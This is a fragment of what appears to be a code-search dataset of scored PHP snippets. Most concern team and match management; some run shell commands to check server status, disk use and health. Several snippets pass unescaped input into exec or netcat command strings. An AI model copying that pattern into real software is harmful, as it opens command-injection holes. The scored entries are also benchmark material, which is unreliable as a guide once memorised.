{\n\t\t$this->teamName = $teamName;\n\t\tforeach ($teamGames as $teamGame) {\n\t\t\t$position = \"Away\";\n\t\t\tif ($teamName == $teamGame->homeTeam) {\n\t\t\t\t$position = \"Home\";\n\t\t\t}\n\t\t\t$csvLine = \t$teamGame->visitTeam .CSV_SEP .\n\t\t\t\t\t\t$teamGame->homeTeam .CSV_SEP .\n\t\t\t\t\t\t$teamGame->date . CSV_SEP .\n\t\t\t\t\t\t$teamGame->time . CSV_SEP .\n\t\t\t\t\t\t$teamGame->timeZone . CSV_SEP .\n\t\t\t\t\t\t$position . CSV_SEP . CSV_SEP;\n\t\n\t\t\t$this->addOutputCsv($csvLine);\n\t\t}\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "bad05e75899b30b95de2fad10aa45f81", "score": "0.56698084", "text": "public function addPlayertoTeam()\n\t{\n\t\t$request = Request::all();\n\t\t$team_id = Request::get('team_id');\n\t\t$player_id = Request::get('response');\n\t\t$match_id = Request::get('match_id');\n\t\t$selected_team = Request::get('selected_team');\n\n\t\tif($team_id>0 && $player_id>0)\n\t\t{\n\t\t\t$role = 'player';\n\t\t\t$user_id = Request::get('response');\n\t\t\t$TeamPlayer = new TeamPlayers();\n\t\t\t$TeamPlayer->team_id = $team_id;\n\t\t\t$TeamPlayer->user_id = $player_id;\n\t\t\t$TeamPlayer->role = $role;\n\t\t\tif($TeamPlayer->save())\n\t\t\t{\n\t\t\t\tif($selected_team=='a')//if team a selected\n\t\t\t\t{\n\t\t\t\t\t$get_a_player_ids = MatchSchedule::where('id',$match_id)->where('a_id',$team_id)->pluck('player_a_ids');//get team a players\n\t\t\t\t\t$get_a_player_ids = $get_a_player_ids.$player_id.',';\n\t\t\t\t\tMatchSchedule::where('id',$match_id)->where('a_id',$team_id)->update(['player_a_ids'=>$get_a_player_ids]);\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$get_b_player_ids = MatchSchedule::where('id',$match_id)->where('b_id',$team_id)->pluck('player_b_ids');//get team a players\n\t\t\t\t\t$get_b_player_ids = $get_b_player_ids.$player_id.',';\n\t\t\t\t\tMatchSchedule::where('id',$match_id)->where('b_id',$team_id)->update(['player_b_ids'=>$get_b_player_ids]);\n\t\t\t\t}\n\n\t\t\t}\n\t\t\treturn Response()->json( array('success' => trans('message.sports.teamplayer')) );\n\t\t}else\n\t\t{\n\t\t\treturn Response()->json( array('failure' => trans('message.sports.teamvalidation')) );\n\t\t}\n\t}", "title": "" }, { "docid": "2188846116719b0ea29620f0905bfe75", "score": "0.56559354", "text": "public function test_set_race_name() {\n $this->assertNull($this->object->race);\n $this->assertNull($this->object->race_id);\n\n //HotS race: 1-Zerg 2-Terran 7-Random 3-Protoss\n $this->object->race = 'Terran';\n $this->assertSave($this->object->save());\n\n $this->assertEquals('Terran', $this->object->race);\n $this->assertEquals(2, $this->object->race_id);\n }", "title": "" }, { "docid": "e0b224d63e7947cc2a58ce2fba3b7153", "score": "0.5651365", "text": "public function store(Team $team)\n {\n if($team->hasReachedMaximumSize()){\n return back()->withErrors(['Your team has reached the maximum size, upgrade to invite more members to your team!']);\n }\n\n $this->validate(request(), [\n 'email' => 'required|email'\n ]);\n\n if(Invitation::whereEmail(request('email'))->where('team_id', $team->id)->exists())\n {\n return back()->withErrors(['This email address has already been invited.']);\n }else{\n if($team->members->pluck('email')->contains(request('email'))){\n return back()->withErrors(['This user is already part of your team.']);\n }\n }\n\n $invitation = Invitation::create([\n 'team_id' => $team->id,\n 'email' => request('email'),\n 'token' => str_random()\n ]);\n\n $email = new TeamInvitation($invitation);\n Mail::to(request('email'))->send($email);\n\n return back();\n \n }", "title": "" }, { "docid": "41e1f15cc96739704c6273c15f23c358", "score": "0.5647588", "text": "public function store(CreateTeamRequest $request)\n {\n $image = $request->image->store('image_team');\n Teams::create([\n 'name' => $request->name,\n 'description' => $request->description,\n 'title' => $request->title,\n 'instagram' => $request->instagram,\n 'image' => $image\n ]);\n session()->flash('success','Team Create Successfully');\n return redirect(route('team.index'));\n }", "title": "" }, { "docid": "8317f6b4e4e7f8df6b3d9b9c12621582", "score": "0.5644898", "text": "public function createAction()\n {\n\n if (!$this->request->isPost()) {\n return $this->dispatcher->forward(array(\n \"controller\" => \"user_raise_team\",\n \"action\" => \"index\"\n ));\n }\n\n $dtb_raise_project_team = new DtbRaiseProjectTeam();\n\n $dtb_raise_project_team->setRaiseId($this->request->getPost(\"raise_id\"));\n $dtb_raise_project_team->setUserName($this->request->getPost(\"user_name\"));\n $dtb_raise_project_team->setAvatar($this->request->getPost(\"avatar\"));\n $dtb_raise_project_team->setPosition($this->request->getPost(\"position\"));\n $dtb_raise_project_team->setCommitment($this->request->getPost(\"commitment\"));\n $dtb_raise_project_team->setOwnership($this->request->getPost(\"ownership\"));\n $dtb_raise_project_team->setNationality($this->request->getPost(\"nationality\"));\n $dtb_raise_project_team->setRole($this->request->getPost(\"role\"));\n $dtb_raise_project_team->setBirthday($this->request->getPost(\"birthday\"));\n $dtb_raise_project_team->setCountry($this->request->getPost(\"country\"));\n $dtb_raise_project_team->setCity($this->request->getPost(\"city\"));\n $dtb_raise_project_team->setAddress($this->request->getPost(\"address\"));\n $dtb_raise_project_team->setUpdateTs($this->request->getPost(\"update_ts\"));\n \n\n// if (!$dtb_raise_project_team->save()) {\n// foreach ($dtb_raise_project_team->getMessages() as $message) {\n// $this->flash->error($message);\n// }\n//\n// return $this->dispatcher->forward(array(\n// \"controller\" => \"dtb_raise_project_team\",\n// \"action\" => \"new\"\n// ));\n// }\n\n\n\n $dtb_raise_project_team_work_info=new DtbRaiseProjectTeamWorkInfo();\n\n $dtb_raise_project_team_cert=new DtbRaiseProjectTeamCertificate();\n\n $dtb_raise_project_team_edc=new DtbRaiseProjectTeamEducation();\n\n $flag=false;\n $this->di['db']->begin();\n try{\n $res=$dtb_raise_project_team->save();\n $tmmember_id=$dtb_raise_project_team->tmmember_id;\n\n $dtb_raise_project_team_work_info->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_work_info->setCompany($this->request->getPost(\"company\"));\n $dtb_raise_project_team_work_info->setPosition($this->request->getPost(\"position\"));\n $dtb_raise_project_team_work_info->setStartTs(strtotime($this->request->getPost(\"start_ts\")));\n $dtb_raise_project_team_work_info->setEndTs(strtotime($this->request->getPost(\"end_ts\")));\n\n $dtb_raise_project_team_cert->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_cert->setOrganization($this->request->getPost(\"organization\"));\n $dtb_raise_project_team_cert->setCertificateName($this->request->getPost(\"certificate_name\"));\n $dtb_raise_project_team_cert->setRewardTs(strtotime($this->request->getPost(\"reward_ts\")));\n\n $dtb_raise_project_team_edc->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_edc->setMajor($this->request->getPost(\"major\"));\n $dtb_raise_project_team_edc->setEducation($this->request->getPost(\"education\"));\n $dtb_raise_project_team_edc->setRewardTs(strtotime($this->request->getPost(\"reward_ts\")));\n\n\n $res1=$dtb_raise_project_team_work_info->save();\n $res2=$dtb_raise_project_team_cert->save();\n $res3=$dtb_raise_project_team_edc->save();\n\n if($res &&$res1 && $res2 && $res3 ){\n $this->di['db']->commit();\n $flag=true;\n }else{\n $this->di['db']->rollback();\n }\n\n\n\n }catch (Exception $ex){\n $this->di['db']->rollback();\n }\n\n if ($flag){\n $this->flash->success(\"dtb_raise_project_team was created successfully\");\n\n return $this->dispatcher->forward(array(\n \"controller\" => \"dtb_raise_project_team\",\n \"action\" => \"index\"\n ));\n }\n else{\n foreach ($dtb_raise_project_team->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_work_info->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_cert->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_edc->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n }\n\n\n\n }", "title": "" }, { "docid": "fcbabb9b42c95d0152452d17756352bb", "score": "0.56425625", "text": "private static function add_team($team, $coach){\n $cleanTeam = ucwords(preg_replace('/^[tThH]+[eE]\\b\\W/', \"\", $team));//Removes The in front of teams name.\n\n $args = array(\n \"post_type\" => \"sp_team\",\n \"post_author\" => $coach,\n \"post_title\" => $cleanTeam,\n \"post_status\" => 'publish'\n );\n\n return wp_insert_post($args);\n }", "title": "" }, { "docid": "ee552aba095fdf9a08dcd8c1a1ec7dbf", "score": "0.5640178", "text": "public function testSaveDetails()\n {\n $service = new Service($this->con, 2);\n $service->SaveDetails([\n [\"type\"=>\"theme\",\n \"value\" => \"Teeemaa\"] \n ]);\n $this->assertTrue($service->GetTheme() == \"Teeemaa\"); \n }", "title": "" }, { "docid": "a5e0b4073bd50a1c205f9621c44171b4", "score": "0.5636168", "text": "public function create(array $data)\n {\n $this->teamValidator->setData($data);\n\n if ($this->teamValidator->isValid()) {\n $team = new \\Matches\\Entity\\Team();\n $team->populate($data);\n\n $this->em->persist($team);\n\n return $team;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "670ac126ebf2c602c0a0a795e9e4d1e8", "score": "0.5621464", "text": "public function testSaveStep03(){\n\t\n\t\t$this->assertTrue(self::$instance->save(),\"Function save failed\") ;\n\t\t\n\t\t$this->assertXmlFileEqualsXmlFile(self::$db_init,self::$db_file) ;\n\t}", "title": "" }, { "docid": "ef1424ec44481a0e0b1e25c3645fe689", "score": "0.5620544", "text": "public function edit()\n {\n $id = $this->uri->segment(5);\n if (empty($id)) {\n Template::set_message(lang('teams_invalid_id'), 'error');\n\n redirect(SITE_AREA . '/dashboard/teams');\n }\n \n if (isset($_POST['save'])) {\n\t\t\n\t\t\t//Only for Demo mode disabled function\n\t\t\tif(constant(\"ENVIRONMENT\")=='demo')\n\t\t\t{\n\t\t\t\tTemplate::set_message(lang('bf_demo_mode'), 'info');\n\t\t\t}\n\t\t\telse \n\t\t\t{\t\t\t\n\t\t\t\t$this->auth->restrict($this->permissionEdit);\n\n\t\t\t\tif ($this->save_teams('update', $id)) {\n\t\t\t\t\tlog_activity($this->auth->user_id(), lang('teams_act_edit_record') . ': ' . $id . ' : ' . $this->input->ip_address(), 'teams');\n\t\t\t\t\tTemplate::set_message(lang('teams_edit_success'), 'success');\n\t\t\t\t\t\n\t\t\t\t\t$league_id = $this->teams_model->get_team_league_id($id);\n\t\t\t\t\tredirect(SITE_AREA . '/dashboard/teams/index/league_id-'.$league_id.'');\n\t\t\t\t}\n\n\t\t\t\t// Not validation error\n\t\t\t\tif ( ! empty($this->teams_model->error)) {\n\t\t\t\t\tTemplate::set_message(lang('teams_edit_failure') . $this->teams_model->error, 'error');\n\t\t\t\t}\n\t\t\t}\t\n }\n \n elseif (isset($_POST['delete'])) {\n\t\t\n\t\t\t//Only for Demo mode disabled function\n\t\t\tif(constant(\"ENVIRONMENT\")=='demo')\n\t\t\t{\n\t\t\t\tTemplate::set_message(lang('bf_demo_mode'), 'info');\n\t\t\t}\n\t\t\telse \n\t\t\t{\t\t\t\n\t\t\t\t$this->auth->restrict($this->permissionDelete);\n\n\t\t\t\tif ($this->teams_model->delete($id)) {\n\t\t\t\t\tlog_activity($this->auth->user_id(), lang('teams_act_delete_record') . ': ' . $id . ' : ' . $this->input->ip_address(), 'teams');\n\t\t\t\t\tTemplate::set_message(lang('teams_delete_success'), 'success');\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tredirect(SITE_AREA . '/dashboard/teams');\n\t\t\t\t}\n\n\t\t\t\tTemplate::set_message(lang('teams_delete_failure') . $this->teams_model->error, 'error');\n\t\t\t}\t\n }\n \n Template::set('teams', $this->teams_model->find($id));\n\n Template::set('toolbar_title', lang('teams_edit_heading'));\n Template::render();\n }", "title": "" }, { "docid": "cad23715aad61bcd1213bc0588849dc4", "score": "0.56202835", "text": "public static function teamCreator() {\n global $coach, $lng;\n title($lng->getTrn('name', 'TeamCreator'));\n self::newTeam(isset($coach) ? $coach->coach_id : null);\n}", "title": "" }, { "docid": "5311e3ada02e9e92890aa38a481ad6fa", "score": "0.5619859", "text": "public function store(Request $request,Team $team)\n {\n //\n $data=[\n 'name'=>$request->name,\n 'short_intro'=>$request->short_intro,\n 'facebook'=>$request->facebook,\n 'instagram'=>$request->instagram,\n 'status'=>0,\n ];\n if($request->has('image')){\n $image = $request->image->store('posts');\n }else{\n $image='blank.jpg';\n }\n $data['image']=$image;\n\n $team->create($data);\n\n session()->flash('success','NEW TEAM HASBEEN CREATED');\n return redirect(route('team.index'));\n }", "title": "" }, { "docid": "1865ea7518d96fe9279927e88ca1dfd7", "score": "0.56169605", "text": "public function testForm()\n {\n \t$params=[\n \t'name'=>\"Jara\",\n \t'phone'=>'99987565'\n \t];\n $response=$this->call(\"POST\",\"/person/save\",$params);\n $response->assertRedirect(\"/person/list\");\n }", "title": "" }, { "docid": "ba3f300ef40d5ae91478be9ccf12a557", "score": "0.56139654", "text": "public function doBet() {\r\n $matchTeamRepository = $this->app['em']->getRepository('App\\Model\\Entity\\Matchteam');\r\n $betMatchRepository = $this->app['em']->getRepository('App\\Model\\Entity\\Betmatchs');\r\n $matchTeamList = $matchTeamRepository->find(null, 0, array(\"score\" => NULL));\r\n\r\n foreach($matchTeamList as $matchTeam) {\r\n if (strtotime(\"-15 minutes\",$matchTeam->getIdmatchs()->getDate()->getTimestamp()) > time()) {\r\n $matchTeamIdList[] = $matchTeam->getIdmatchteam();\r\n }\r\n }\r\n\r\n $betForm = $this->app['form.factory']->create(new \\App\\Form\\BetType($matchTeamIdList));\r\n $betForm->bind($this->app['request']);\r\n if ($betForm->isValid()){\r\n $datas = $betForm->getData();\r\n\r\n foreach($matchTeamList as $matchTeam) {\r\n $userRepository = $this->app['em']->getRepository('App\\Model\\Entity\\Players');\r\n $user = $userRepository->getUserByUsername($this->app['security']->getToken()->getUser()->getUsername());\r\n\r\n $betMatch = $betMatchRepository->find(array(\"idmatchteam\" => $matchTeam, \"idplayers\" => $user ));\r\n if (in_array($matchTeam->getIdmatchteam(), $matchTeamIdList)) {\r\n if ($betMatch) {\r\n $betMatch->setScore($datas[\"score\".$matchTeam->getIdmatchteam()]);\r\n $betMatchRepository->update($betMatch);\r\n } else {\r\n $betMatch = new Betmatchs();\r\n $betMatch->setIdmatchteam($matchTeam);\r\n $betMatch->setIdplayers($user);\r\n $betMatch->setScore($datas[\"score\".$matchTeam->getIdmatchteam()]);\r\n $betMatchRepository->save($betMatch);\r\n }\r\n }\r\n }\r\n\r\n //add flash success\r\n $this->app['session']->getFlashBag()->add('success', $this->app['translator']->trans('save succeed'));\r\n } else {\r\n $this->app['session']->getFlashBag()->add('error', $this->app['translator']->trans('save error'));\r\n }\r\n\r\n return $this->app->redirect($this->app[\"url_generator\"]->generate(\"match.index\"));\r\n }", "title": "" } ]
6f553a06bdcad8ea2f4030d698985316
Execute the command that gets hd status and returns the output as an array.
[ { "docid": "67bc4be96f54416490210a5dd5b7590e", "score": "0.629514", "text": "function getHdStatus(){\n // /dev/mapper/vg_openvz-lv_root is the only partition that matters.\n $command = \"df -h /dev/mapper/vg_openvz-lv_root\";\n $output = Array();\n exec($command, $output);\n\n // Count the length of the $output array so we can loop through, blow it up, and make it easier to parse.\n $count = count($output);\n\n // for loop goes through the $output array and blows everything up so we can call specific data.\n // $i=1 so we skip the first row with all the header information. Set $i == 0 if you want that shit.\n for($i = 1; $i < $count; $i++){\n $elements = explode(\" \",$output[$i]);\n }\n\t\t\n\t\t// Get Percentage Remaining For Progress Bar\n\t\t// May need to change $elements[x] to match new array\n\t\t$rawPercent = $elements[11];\n\t\t// If-else to make sure the % sign is not included.\n\t\tif(strlen($rawPercent) == 2){\n\t\t\t$usePercent = substr($rawPercent, 0, 1);\n\t\t} else {\n\t\t\t$usePercent = substr($rawPercent, 0, 2);\n\t\t}\n\t\t\n\t\t$remaining = 100 - (int)$usePercent;\n\t\t \n echo '\n\t\t\t\t<span class=\"text-muted\"><text style=\"font-size: 1.75em;\">\n\t\t\t\t<div id=\"progressbar\" style=\"border: 2px solid;\"><span style=\"position:absolute; margin-left:32%; margin-top:6px\">'.$usePercent.'% Used</span></div>\n\t\t\t\t<script>\n\t\t\t\t\t$( \"#progressbar\" ).progressbar({\n\t\t\t\t\tvalue: '.$usePercent.'\n\t\t\t\t\t});\n\t\t\t\t</script>\n\t\t\t\tSize: '.$elements[3].'B Used: '.$elements[5].'B Available: '.$elements[8].'B\n\t\t\t\t</text>\n\t\t\t\t</span>\n\t\t\t ';\n\n\t}", "title": "" } ]
[ { "docid": "05a18e5af91662ace2d66c4575a0cf0e", "score": "0.67051977", "text": "function GetStatus() {\n\t\tif ( $this->debugging ) echo \"mpd->GetStatus()\\n\";\n\t\t$status = $this->SendCommand(MPD_CMD_STATUS);\n\t\tif ( ! $status ) {\n\t\t\treturn NULL;\n\t\t} else {\n\t\t\t$statusArray = array();\n\t\t\t$statusLine = strtok($status,\"\\n\");\n\t\t\twhile ( $statusLine ) {\n\t\t\t\tlist ( $element, $value ) = split(\": \",$statusLine);\n\t\t\t\t$statusArray[$element] = $value;\n\t\t\t\t$statusLine = strtok(\"\\n\");\n\t\t\t}\n\t\t}\n\t\tif ( $this->debugging ) echo \"mpd->GetStatus() / return: \" . print_r($statusArray) .\"\\n\";\n\t\treturn $statusArray;\n\t}", "title": "" }, { "docid": "7cb0070b897c3b614249b8eef708e4f7", "score": "0.64133596", "text": "public function status()\n {\n $this->sendCommand('status');\n $res = $this->recvCommand();\n\n $status = array();\n $tmp = explode(\"\\n\", $res);\n foreach ($tmp as $t) {\n if (!Connection::stringLength($t)) {\n continue;\n }\n\n list($func, $inQueue, $jobsRunning, $capable) = explode(\"\\t\", $t);\n\n $status[$func] = array(\n 'in_queue' => $inQueue,\n 'jobs_running' => $jobsRunning,\n 'capable_workers' => $capable\n );\n }\n\n return $status;\n }", "title": "" }, { "docid": "b6eac81bfbaa2206ed07f0e22e503ef0", "score": "0.63101006", "text": "function get_status() {\n\t$tmp = shell_exec( 'sudo -u my_urt_user /etc/init.d/skeleton_urt status');\n\t$tmp = preg_replace('/'.preg_quote('\u001b').'\\[[0-9]+;[0-9]+m/','',$tmp);\n\t$tmp = preg_replace('/'.preg_quote('\u001b').'\\[[0-9]+m/','',$tmp);\n\t$tmp = str_replace('[', '' ,$tmp );\n\t$tmp = explode( \"\\n\" ,$tmp );\n\t$status = array();\n\tforeach ($tmp as $key => $val) {\n\t\tif ($val == '') continue;\n\t\t\n\t\tlist($name, $action) = explode( ']',$val);\n\t\t$name\t= trim($name);\n\t\t$action\t= trim($action);\n\t\t$status[$name] = $action == 'is running.' ? true : ( $action == 'is stoped !' ? false : null );\n\t}\n\treturn $status;\n}", "title": "" }, { "docid": "3e4e0c4fe9ac7c3e414c10e84281e3e6", "score": "0.6236451", "text": "protected static function execute($command)\n {\n $res = array();\n\n ob_start();\n passthru($command, $success);\n $output = ob_get_clean();\n\n foreach ((explode(\"\\n\", $output)) as $line) $res[] = trim($line);\n\n return array_filter($res);\n }", "title": "" }, { "docid": "ac08ca6d27dfa099ce6cebf5e53ad890", "score": "0.6176918", "text": "public function stat()\n\t{\n\t\t$data = pack(\"CC\", TinyGojira::kCommandIdPrefix, TinyGojira::kCommandStat);\n\t\t\n\t\t// this command always returns with a status of 0\n\t\t$this->execute($data);\n\t\t$response = unpack(\"Nlength\", stream_socket_recvfrom($this->client, 4));\n\t\t$record_data = unpack(\"A\".$response['length'].\"value\", stream_socket_recvfrom($this->client, $response['length']));\n\t\t\n\t\treturn $record_data['value'];\n\t}", "title": "" }, { "docid": "fe96303ad58973455b4c28e150562466", "score": "0.611299", "text": "function liveExecuteCommand($cmd){\n while (@ob_end_flush()); // end all output buffers if any\n $proc = popen(\"$cmd 2>&1 ; echo Exit status : $?\", 'r');\n $live_output = \"\";\n $complete_output = \"\";\n while (!feof($proc))\n {\n $live_output = fread($proc, 4096);\n $complete_output = $complete_output . $live_output;\n echo \"$live_output\";\n @ flush();\n }\n \n pclose($proc);\n \n // get exit status\n preg_match('/[0-9]+$/', $complete_output, $matches);\n \n // return exit status and intended output\n return array (\n 'exit_status' => intval($matches[0]),\n 'output' => str_replace(\"Exit status : \" . $matches[0], '', $complete_output)\n );\n }", "title": "" }, { "docid": "0fc8e9b94834fc6c34136d4dd8362459", "score": "0.59329057", "text": "public function status()\n\t{\n\t\t$result = $this->sendCommand('status');\n\t\tif (false === $result) {\n\t\t\treturn false;\n\t\t}\n\t\t$status = array();\n\t\tforeach ($result as $t) {\n\t\t\tlist($function, $inQueue, $jobsRunning, $capable) = explode(\"\\t\", $t);\n\t\t\t$status[$function] = array('function' => $function, 'in_queue' => $inQueue, 'jobs_running' => $jobsRunning,\n\t\t\t\t\t'capable_workers' => $capable\n\t\t\t);\n\t\t}\n\t\treturn $status;\n\t}", "title": "" }, { "docid": "27ccec56d8bb127f1b5866e1ba9dd007", "score": "0.5861056", "text": "function statusCmd(array $options);", "title": "" }, { "docid": "7f5c4faaea3c13ec3a91efd38859f82a", "score": "0.5841634", "text": "function HealthCheckCLI()\n\t{\n\t\treturn $this->HealthCheck(true);\n\t}", "title": "" }, { "docid": "d4c59919f934ffeda80baa13f1f9e47b", "score": "0.583129", "text": "public function upgradestatusAction()\n {\n $this->sessionClose(); // long running action, close session\n $backend = new Backend();\n $result = array('status' => 'running');\n $cmd_result = trim($backend->configdRun('firmware status'));\n\n $result['log'] = $cmd_result;\n\n if ($cmd_result == null) {\n $result['status'] = 'error';\n } elseif (strpos($cmd_result, '***DONE***') !== false) {\n $result['status'] = 'done';\n } elseif (strpos($cmd_result, '***REBOOT***') !== false) {\n $result['status'] = 'reboot';\n }\n\n return $result;\n }", "title": "" }, { "docid": "3ba20bfde8b93959402d70af3421a2af", "score": "0.57866776", "text": "public function health() : Array\n {\n $this->setMethod('GET')\n ->setUri($this->vault_address .'/sys/health')\n ->send();\n $response = $this->responseToArray($this->getResponse()->getBody());\n\n return $response;\n }", "title": "" }, { "docid": "f86f2aec513b773111b210bb03f522b8", "score": "0.57625544", "text": "public function getStatus()\n {\n $shell = new Process('supervisorctl status ' . $this->getName());\n $shell->run();\n return $this->parseStatus($shell->getOutput());\n }", "title": "" }, { "docid": "29199d26505e6fcd9f03a5496c911b36", "score": "0.5743504", "text": "public function statusAction()\n {\n $backend = new Backend();\n $response = $backend->configdRun(escapeshellarg(static::$internalServiceName) . ' status');\n\n if (strpos($response, 'not running') > 0) {\n if ($this->serviceEnabled()) {\n $status = 'stopped';\n } else {\n $status = 'disabled';\n }\n } elseif (strpos($response, 'is running') > 0) {\n $status = 'running';\n } elseif (!$this->serviceEnabled()) {\n $status = 'disabled';\n } else {\n $status = 'unknown';\n }\n\n return array(\n 'status' => $status,\n 'widget' => array(\n 'caption_stop' => gettext(\"stop service\"),\n 'caption_start' => gettext(\"start service\"),\n 'caption_restart' => gettext(\"restart service\")\n )\n );\n }", "title": "" }, { "docid": "29ba01877b682a4acb69d0d031628471", "score": "0.57286507", "text": "function get_command_list()\n{\n\tglobal $config;\n\tglobal $xmlrpc_host ;\n\tglobal $xmlrpc_port ;\n\tglobal $comm_type ;\n\tglobal $udp_host;\n\tglobal $udp_port;\n\tglobal $json_url;\n\n\t$command = \"which\";\n\t$message = mi_command($command, $errors, $status);\n\n\tif ($comm_type != \"json\"){\n\t\t$_SESSION['mi_command_list'] = explode(\"\\n\", $message);\n\t}\n\telse{\n\t\t$message = json_decode($message,true);\n\t\t//TODO - this might change \n\t\t$message = $message[null];\n\t\t$cmds = array();\n\t\tfor ($i=0;$i<count($message);$i++){\n\t\t\t$cmds [] = $message[$i]['value'];\n\t\t}\n\t\t$_SESSION['mi_command_list'] = $cmds;\n\t}\n\treturn;\n}", "title": "" }, { "docid": "8c063475eadb40b87e576caa610a76f7", "score": "0.570144", "text": "public function statusTask()\n\t{\n\t\t// Incoming\n\t\t$hostname = Request::getString('hostname', '', 'get');\n\n\t\t// $hostname is eventually used in a string passed to an exec call, we gotta\n\t\t// clean at least some of it. See RFC 1034 for valid character set info\n\t\t$hostname = preg_replace(\"/[^A-Za-z0-9-.]/\", '', $hostname);\n\n\t\t$status = $this->_middleware(\"check \" . $hostname . \" yes\", $output);\n\n\t\t// Display results\n\t\t$this->view\n\t\t\t->set('hostname', $hostname)\n\t\t\t->set('output', $output)\n\t\t\t->set('status', $status)\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "1a7f8a5a5c3f4d0e408c457bba20e2e5", "score": "0.5669537", "text": "public function getStatus()\n {\n /** @var $result CallResult */\n $result = $this->getGit()->{'status'}($this->getRepositoryPath(), array(\n '--short'\n ));\n $result->assertSuccess(\n sprintf('Cannot retrieve status from \"%s\"', $this->getRepositoryPath())\n );\n\n $output = rtrim($result->getStdOut());\n if (empty($output)) {\n return array();\n }\n\n $status = array_map(function($f) {\n $line = rtrim($f);\n $parts = array();\n preg_match('/^(?<x>.)(?<y>.)\\s(?<f>.+?)(?:\\s->\\s(?<f2>.+))?$/', $line, $parts);\n\n $status = array(\n 'file' => $parts['f'],\n 'x' => trim($parts['x']),\n 'y' => trim($parts['y']),\n 'renamed' => (array_key_exists('f2', $parts)) ? $parts['f2'] : null\n );\n return $status;\n }, explode(\"\\n\", $output));\n return $status;\n }", "title": "" }, { "docid": "8b545af4b8fe1eadb4bbb37d89c36379", "score": "0.5639396", "text": "public function healthAction()\n {\n $this->sessionClose(); // long running action, close session\n $backend = new Backend();\n $response = array();\n\n if ($this->request->isPost()) {\n $response['status'] = 'ok';\n $response['msg_uuid'] = trim($backend->configdRun(\"firmware health\", true));\n } else {\n $response['status'] = 'failure';\n }\n\n return $response;\n }", "title": "" }, { "docid": "59c37bddbdf3d0327a1e15fb58542bba", "score": "0.5625004", "text": "function getLiveStatusQuery ($xQuery) {\n global $livestatusServer, $livestatusServerPort, $allLiveStatusResults;\n $allLiveStatusResults = array();\n $theCommand = \"echo -e \\\"{$xQuery}\\\" | netcat {$livestatusServer} {$livestatusServerPort}\";\n $temp = exec($theCommand,$allLiveStatusResults,$a1);\n if (strlen($temp)>0 && $temp[0]==\"-\") {\n $temp = \"\";\n }\n return $temp;\n}", "title": "" }, { "docid": "e2c5ec4d67a1d1fc54afd260b32b538f", "score": "0.5588934", "text": "public function handle() {\n try {\n $status = $this->getNode()->command(\"get\", $this->getPath().\"/status/current\", $this->getHash());\n } catch (\\Exception $e) {\n $error = \"Host node is down\";\n if ($this->getUser()->getIsAdmin()) {\n $log = new AdminLog($this->getAction(), new \\DateTime(\"now\"), $this->getRequest()->getClientIp(), $this->getValue(), $this->getServer()->getId(), $this->getUser()->getId(), false, json_encode($error));\n } else {\n $log = new Log($this->getAction(), new \\DateTime(\"now\"), $this->getRequest()->getClientIp(), $this->getValue(), $this->getServer()->getId(), $this->getUser()->getId(), false, json_encode($error));\n }\n return [[false, $error], $log];\n }\n\n $action = $this->getAction();\n $actions = array(\"boot\", \"shutdown\", \"restart\", \"hostname\", \"nameserver\", \"password\", \"reinstall\", \"status\", \"graph\", \"resize\");\n if (!in_array($this->getAction(), $actions)) {\n return [[false, \"Action is invalid\"], null];\n }\n\n $result = $this->$action($status);\n if ($this->getUser()->getIsAdmin()) {\n $log = new AdminLog($this->getAction(), new \\DateTime(\"now\"), $this->getRequest()->getClientIp(), $this->getValue(), $this->getServer()->getId(), $this->getUser()->getId(), $result[0], json_encode($result[1]));\n } else {\n $log = new Log($this->getAction(), new \\DateTime(\"now\"), $this->getRequest()->getClientIp(), $this->getValue(), $this->getServer()->getId(), $this->getUser()->getId(), $result[0], json_encode($result[1]));\n }\n return [$result, $log];\n }", "title": "" }, { "docid": "5b8da603a247507c640db9e654dc67f3", "score": "0.55659604", "text": "function shell_exec_cmd($cmd) {\n $cmd = $cmd . ' 2>&1';\n // 执行命令\n exec ( $cmd, $output, $rc );\n if ($rc == 0) {\n return array(true, implode(PHP_EOL, $output));\n } else {\n return array(false, implode(PHP_EOL, $output));\n }\n}", "title": "" }, { "docid": "910a365a8d7668980fdae7f07fac46da", "score": "0.5545516", "text": "public function status(): array\n {\n $request = $this->requestFactory->get($this->url . '/status');\n $responseData = JsonDecoder::decode($this->httpClient->sendRequest($request));\n\n return $responseData['data'];\n }", "title": "" }, { "docid": "72aa0513d9a00075ed68c8464c9896c6", "score": "0.55256534", "text": "private function _getCommands() {\n \t$response = $this->_makeRequest('list-commands');\n\n \treturn $response['output'];\n }", "title": "" }, { "docid": "4d6ab3885dd0dbbeac639a04173206ec", "score": "0.55097955", "text": "function listCmds() {\n\tglobal $commands;\n\techo \"<br/>This status page includes the following information:\\n\";\n\techo \"<ul>\\n\";\n\tfor ($i = 0; isset($commands[$i]); $i++ ) {\n\t\techo \"<li><strong><a href=\\\"#\" . str_replace(' ', '_', $commands[$i][0]) . \"\\\">\" . $commands[$i][0] . \"</a></strong></li>\\n\";\n\t}\n\techo \"</ul>\\n\";\n}", "title": "" }, { "docid": "cd581c729e6b9669b1ef72455654fd0e", "score": "0.5508381", "text": "function run_cmd (string $cmd): array {\n\t\texec(\"$cmd 2>&1\", $output, $return);\n\t\treturn [\n\t\t\t\"output\" => implode(\"\\n\", $output),\n\t\t\t\"return\" => $return\n\t\t];\n\t}", "title": "" }, { "docid": "08a7f0ddfce3d49d887c029fe983b3d5", "score": "0.5488785", "text": "public static function status($cmd, &$output=null) {\n exec(self::escape($cmd), $output, $return);\n return $return;\n }", "title": "" }, { "docid": "0964f0fcd9b9f848f42786ca1e4c7090", "score": "0.54337704", "text": "public function getInhdstat()\n {\n return $this->inhdstat;\n }", "title": "" }, { "docid": "89ffc1f83c0289a4e3337d655a5584b9", "score": "0.5426708", "text": "private function getData() {\n\t\tif (FALSE !== 